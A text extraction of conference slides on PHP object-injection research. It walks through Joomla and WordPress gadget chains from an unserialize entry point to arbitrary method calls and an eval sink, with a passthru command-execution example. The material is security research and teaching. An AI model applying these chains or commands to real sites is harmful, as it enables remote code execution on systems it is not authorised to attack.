    /** * When convertingthe object to a string, the theme name is returned. * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display('Name'); } public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) $translate = false; if ( $translate ) $value = $this->translate_header( $header, $value ); if ( $markup ) $value = $this->markup_header( $header, $value, $translate ); return $value; } __toString #1 - WP_Theme
  • 74.
    /** * Makes afunction, which will return the right translation index, according to the * plural forms header */ function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " $index = (int)($expression); return ($index < $nplurals)? $index : $nplurals - 1;"; return create_function('$n', $func_body); } Endpoint – make_plural_form_function - Translations
  • 75.
    WP_Theme __toString displayload_textdomain (l10n.php) load_theme_textdomain load_textdomain MO import_from_file import_from_reader Translations set_headers set_header make_plural_form_function
  • 79.
  • 80.
    Prior exploits • 2013- Egidio Romano • Arbitrary directory deletion • Blind SQL injection • 2014 - Johanne Dahse • File permission modification • Directory creation • Autoloaded local file inclusion – WTF!
  • 81.
    The LFI exploit Abusesa sink I didn’t know about (method_exists) Requires • null byte poisoning in include (CVE-2006-7243 – fixed 2010) • Malformed class name passed to method_exists (fixed 2014)
  • 82.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 83.
    public function onAfterDispatch() { … //Get the terms to highlight from the request. $terms = $input->request->get('highlight', null, 'base64'); $terms = $terms ? unserialize(base64_decode($terms)) : null; … } Entry point - PlgSystemHighlight extends JPlugin
  • 84.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 85.
    Autoloader has lotsof code • If the classname starts with the prefix “J” • Split camelCase at each uppercase letter • e.g. JCacheController is at /libraries/Joomla/cache/controller.php
  • 86.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 87.
    public function __destruct() { //Do not render if debugging or language debug is not enabled if (!JDEBUG && !$this->debugLang) { return; } // User has to be authorised to see the debug information if (!$this->isAuthorisedDisplayDebug()) { return; } … } private function isAuthorisedDisplayDebug() { … $filterGroups = (array) $this->params->get('filter_groups', null); … } Starting point - __destruct - plgSystemDebug extends JPlugin
  • 88.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 89.
    Next steps • 33x “function get” • JApplicationCli, JApplicationWeb, JCache, JCacheControllerCallback, JCacheControllerPage, JCacheControllerView, JCacheController, JCacheStorageApc, JCacheStorageCachelite, JCacheStorageFile, JCacheStorageMemcache, JCacheStorageMemcached, JCacheStorageWincache, JCacheStorageXcache, JCacheStorage, JClientFtp, JGithubGists, JGithubIssues, JGithubPulls, JGithubRefs, JHttp, JInputFiles, JInput, JLanguage, JObject, JPagination, JRegistry, JSession, JCategories, JException, JRequest, JViewLegacy, SimplePie • 4 x “function __call” • JCacheController, *JDatabaseDriver, *JDatabaseQuery, JInput
  • 90.
    /** * Executes acacheable callback if not found in cache else returns cached output and result * * @param mixed $callback Callback or string shorthand for a callback * @param array $args Callback arguments * @param string $id Cache id * @param boolean $wrkarounds True to use wrkarounds * @param array $woptions Workaround options * * @return mixed Result of the callback * * @since 11.1 */ public function get($callback, $args = array(), $id = false, $wrkarounds = false, $woptions = array()) { … $result = call_user_func_array($callback, $Args); … } get #4 - JCacheControllerCallback extends JCacheController
  • 91.
    call_user_func_array as anendpoint • Trivial if we control both args: call_user_func_array(‘passthru’, ’uname –a’) • Near trivial if we control just first arg: call_user_func_array(array($object, $method_name),$args)
  • 92.
    public function get($gistId) { //Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); … } protected function fetchUrl($path, $page = 0, $limit = 0) { // Get a new JUri object using the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($this->options->get('api.username', false)) { $uri->setUser($this->options->get('api.username')); } … return (string) $uri; } get #17 - JGithubGists extends JGithubObject
  • 93.
    public function get($property,$default = null) { if (isset($this->metadata[$property])) { return $this->metadata[$property]; } return $default; } get #24 - JLanguage
  • 94.
    api.url=“x:///” + api.username=“arbitrary”-> $this->fetchUrl(..) = “arbitrary@”
  • 95.
    public function get($gistId) { //Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); … } protected function fetchUrl($path, $page = 0, $limit = 0) { // Get a new JUri object using the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($this->options->get('api.username', false)) { $uri->setUser($this->options->get('api.username')); } … return (string) $uri; } get #17 - JGithubGists extends JGithubObject
  • 96.
    elseif (strstr($callback, '::')) { list($class, $method) = explode('::', $callback); $callback = array(trim($class), trim($method)); } … elseif (strstr($callback, '->')) { /* * This is a really not so smart way of doing this... … list ($object_123456789, $method) = explode('->', $callback); global $$object_123456789; $callback = array($$object_123456789, $method); } JCacheControllerCallback – callback string shorthand
  • 97.
    Variable variables $a =‘b’ $b = ‘c’ $$a = $($a) = $b = ‘c’
  • 98.
    elseif (strstr($callback, '::')) { list($class, $method) = explode('::', $callback); $callback = array(trim($class), trim($method)); } … elseif (strstr($callback, '->')) { /* * This is a really not so smart way of doing this... … list ($object_123456789, $method) = explode('->', $callback); global $$object_123456789; $callback = array($$object_123456789, $method); } JCacheControllerCallback – callback string shorthand
  • 99.
    $id = $this->_makeId($callback,$args); $data = $this->cache->get($id); if ($data === false) { $locktest = $this->cache->lock($id); … } if ($data !== false) { $cached = unserialize(trim($data)); $result = $cached['result']; } else { $result = call_user_func_array($callback, $Args); } JCacheControllerCallback – cache and callback logic
  • 100.
    • call_user_func_array doesn’terror on a non-existent method • We can use a proxy gadget to get past the “lock” method
  • 101.
    public function __call($name,$arguments) { $nazaj = call_user_func_array(array($this->cache, $name), $arguments); return $nazaj; } Proxy gadget - JCacheController – __call
  • 102.
    public function get($id,$group = null) { $data = false; $data = $this->cache->get($id, $group); … if ($data !== false) { $data = unserialize(trim($data)); } return $data; } get #7 - JCacheController
  • 103.
    $id = $this->_makeId($callback,$args); $data = $this->cache->get($id); if ($data === false) { $locktest = $this->cache->lock($id); … } if ($data !== false) { $cached = unserialize(trim($data)); $result = $cached['result']; } else { $result = call_user_func_array($callback, $Args); } JCacheControllerCallback – cache and callback logic
  • 104.
    There’s nothing tostop us following the same path twice • On the first pass we globalise $result and retrieve it from the cache • On the second pass we use $result as the object in the callback We can now call an arbitrary method on an arbitrary object
  • 105.
    public function _startElement($parser,$name, $attrs = array()) { array_push($this->stack, $name); $tag = $this->_getStackLocation(); // Reset the data eval('$this->' . $tag . '->_data = "";'); … } protected function _getStackLocation() { return implode('->', $this->stack); } JUpdate – _startElement
  • 106.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 107.
  • 108.
    public function get($gistId) { //Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } get #17 - JGithubGists extends JGithubObject
  • 111.
    Take aways Developers • Thinkvery carefully before using this type of function Testers / Researchers • Test for and find this type of issue • Exploit it – it’s fun!
  • 112.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 113.